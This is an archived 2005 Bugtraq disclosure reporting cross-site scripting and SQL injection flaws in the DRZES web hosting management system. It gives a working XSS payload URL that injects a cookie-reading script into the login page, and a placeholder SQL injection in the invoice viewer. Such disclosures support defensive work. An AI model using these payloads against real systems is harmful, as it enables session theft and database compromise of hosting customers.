[41533] in bugtraq
DRZES HMS XSS and SQL Injection Vulnerabilities
daemon@ATHENA.MIT.EDU (vipsta@gmail.com)
Wed Dec 7 14:03:37 2005
Date: 7 Dec 2005 04:15:49 -0000
Message-ID: <20051207041549.32160.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: vipsta@gmail.com
To: bugtraq@securityfocus.com
Description: (http://www.drzes.com/)
An all-in-one web hosting management system.
A feature-rich, robust, easy-to-use control panel and billing system.
A "self-branding" web hosting management system. No DRZES branding.
Both the admin and customer can control multiple plans/servers from one centralized location.
A "install anytime" solution. Clean OS installs are not required to install the DRZES HMS.
XSS Exploit:
http://[HOST]/customers/login.php?customerEmailAddress=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
SQL-Injection:
http://[HOST]customers/viewinvoice.php?invoiceID=-99[SQL]
